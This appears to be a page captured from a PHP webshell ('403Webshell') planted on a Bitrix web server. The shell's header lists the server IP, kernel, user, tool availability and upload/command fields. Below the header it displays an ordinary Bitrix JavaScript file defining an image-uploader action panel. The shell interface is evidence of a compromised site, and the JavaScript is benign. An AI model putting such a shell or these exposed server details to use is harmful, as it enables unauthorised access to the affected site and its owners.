403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/ui/stamp/uploader/src/action-panel/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/ui/stamp/uploader/src/action-panel/action-panel.js
import {EventEmitter, BaseEvent} from 'main.core.events';
import {Tag, Cache, Loc, Dom} from 'main.core';
import {ApplyButton, CancelButton, Button} from 'ui.buttons';

import './css/style.css';

type ActionPanelOptions = {
	events?: {
		onCropClick: (event: BaseEvent) => void,
	},
};

export default class ActionPanel extends EventEmitter
{
	cache = new Cache.MemoryCache();

	constructor(options: ActionPanelOptions)
	{
		super();
		this.setEventNamespace('BX.UI.Stamp.Uploader.ActionPanel');
		this.subscribeFromOptions(options.events);
		this.setOptions(options);
	}

	setOptions(options: ActionPanelOptions)
	{
		this.cache.set('options', {...options});
	}

	getOptions(): ActionPanelOptions
	{
		return this.cache.get('options', {});
	}

	getCropButton(): HTMLDivElement
	{
		return this.cache.remember('cropButton', () => {
			const onClick = (event: MouseEvent) => {
				event.preventDefault();
				this.emit('onCropClick');
			};

			return Tag.render`
				<div 
					class="ui-stamp-uploader-crop-button"
					onclick="${onClick}"
				>
					${Loc.getMessage('UI_STAMP_UPLOADER_CROP_BUTTON_LABEL')}
				</div>
			`;
		});
	}

	getApplyButton(): Button
	{
		return this.cache.remember('applyButton', () => {
			return new ApplyButton({
				color: Button.Color.PRIMARY,
				size: Button.Size.EXTRA_SMALL,
				round: true,
				onclick: () => {
					this.emit('onApplyClick');
				},
			});
		});
	}

	getCancelButton(): Button
	{
		return this.cache.remember('cancelButton', () => {
			return new CancelButton({
				color: Button.Color.LIGHT_BORDER,
				size: Button.Size.EXTRA_SMALL,
				round: true,
				onclick: () => {
					this.emit('onCancelClick');
				},
			});
		});
	}

	getCropActionsLayout(): HTMLDivElement
	{
		return this.cache.remember('cropActionsLayout', () => {
			return Tag.render`
				<div class="ui-stamp-uploader-action-crop-actions" hidden>
					${this.getApplyButton().render()}
					${this.getCancelButton().render()}
				</div>
			`;
		});
	}

	showCropAction()
	{
		Dom.show(this.getCropActionsLayout());
		Dom.hide(this.getCropButton());
	}

	hideCropActions()
	{
		Dom.hide(this.getCropActionsLayout());
		Dom.show(this.getCropButton());
	}

	getLayout(): HTMLDivElement
	{
		return this.cache.remember('layout', () => {
			return Tag.render`
				<div class="ui-stamp-uploader-action-panel">
					${this.getCropActionsLayout()}
					${this.getCropButton()}
				</div>
			`;
		});
	}

	disable()
	{
		Dom.addClass(this.getLayout(), 'ui-stamp-uploader-action-panel-disabled');
	}

	enable()
	{
		Dom.removeClass(this.getLayout(), 'ui-stamp-uploader-action-panel-disabled');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit